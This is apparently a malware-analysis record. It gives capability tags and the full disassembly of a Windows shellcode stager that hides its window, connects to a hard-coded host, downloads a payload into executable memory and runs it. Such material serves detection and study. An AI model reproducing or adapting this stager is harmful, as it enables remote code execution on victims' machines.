Function at 0x401564
Capabilities:
Act as tcp client
Allocate or change rwx memory
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Execute shellcode via indirect call
Hide graphical window
Initialize winsock library
Resolve dns

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
mov eax, 0x9d14
call fcn.004042d0
sub esp, eax
call sym.___main
call sym._GetConsoleWindow_0
mov dword [esp + 4], 0
mov dword [esp], eax
call sym._ShowWindow_8
sub esp, 8
mov dword [ebp - 0xc], 0
jmp 0x4015c0
mov dword [esp], 0x20b6
call sym._malloc
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x89e4], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x226d
jle 0x4015a4
mov word [ebp - 0xe], 0x202
movzx eax, word [ebp - 0xe]
lea edx, [ebp - 0x8b74]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._WSAStartup_8
sub esp, 8
test eax, eax
je 0x4015fd
call sym._WSACleanup_0
mov dword [esp], 1
call sym._exit
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], 2
call sym._socket_12
sub esp, 0xc
mov dword [ebp - 0x8b78], eax
mov eax, dword [ebp - 0x8b78]
cmp eax, 0xffffffff
jne 0x40163e
call sym._WSACleanup_0
mov dword [esp], 1
call sym._exit
mov dword [esp], str.192.168.0.92
call sym._gethostbyname_4
sub esp, 4
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x401664
mov eax, dword [ebp - 0x8b78]
mov dword [esp], eax
call sym._closeAndCleanup
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x8b88]
mov dword [esp], eax
call sym._memset
mov eax, dword [ebp - 0x14]
movzx eax, word [eax + 0xa]
movsx edx, ax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov dword [esp + 8], edx
mov dword [esp + 4], eax
lea eax, [ebp - 0x8b88]
add eax, 4
mov dword [esp], eax
call sym._memcpy
mov word [ebp - 0x8b88], 2
mov dword [esp], 0x50
call sym._htons_4
sub esp, 4
mov word [ebp - 0x8b86], ax
mov eax, dword [ebp - 0x8b78]
mov dword [esp + 8], 0x10
lea edx, [ebp - 0x8b88]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._connect_12
sub esp, 0xc
test eax, eax
jns 0x401701
mov eax, dword [ebp - 0x8b78]
mov dword [esp], eax
call sym._closeAndCleanup
mov eax, dword [ebp - 0x8b78]
mov dword [esp + 8], 4
lea edx, [ebp - 0x2c]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._receiveData
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 4
jne 0x40172e
mov eax, dword [ebp - 0x2c]
test eax, eax
jne 0x40173c
mov eax, dword [ebp - 0x8b78]
mov dword [esp], eax
call sym._closeAndCleanup
mov eax, dword [ebp - 0x2c]
add eax, 5
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x40177c
mov eax, dword [ebp - 0x8b78]
mov dword [esp], eax
call sym._closeAndCleanup
mov eax, dword [ebp - 0x1c]
mov byte [eax], 0xbf
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 1]
mov eax, dword [ebp - 0x8b78]
mov dword [edx], eax
mov dword [ebp - 0xc], 0
jmp 0x4017b5
mov dword [esp], 0x1a8c
call sym._malloc
mov edx, eax
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x9d08], edx
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x45f
jle 0x401799
mov eax, dword [ebp - 0x2c]
mov ecx, eax
mov eax, dword [ebp - 0x1c]
lea edx, [eax + 5]
mov eax, dword [ebp - 0x8b78]
mov dword [esp + 8], ecx
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._receiveData
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
call eax
mov dword [ebp - 0xc], 0
jmp 0x401809
call sym._findSubstring
mov edx, dword [ebp - 0xc]
mov dword [ebp + edx*4 - 0x9d08], eax
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x45f
jle 0x4017f6
mov dword [ebp - 0xc], 0
jmp 0x401838
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x89e4]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym.___mingw_aligned_free
nop
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x226d
jle 0x40181b
mov dword [ebp - 0xc], 0
jmp 0x401867
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x9d08]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [esp], eax
call sym.___mingw_aligned_free
nop
add dword [ebp - 0xc], 1
cmp dword [ebp - 0xc], 0x45f
jle 0x40184a
mov eax, dword [ebp - 0x8b78]
mov dword [esp], eax
call sym._closesocket_4
sub esp, 4
call sym._WSACleanup_0
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret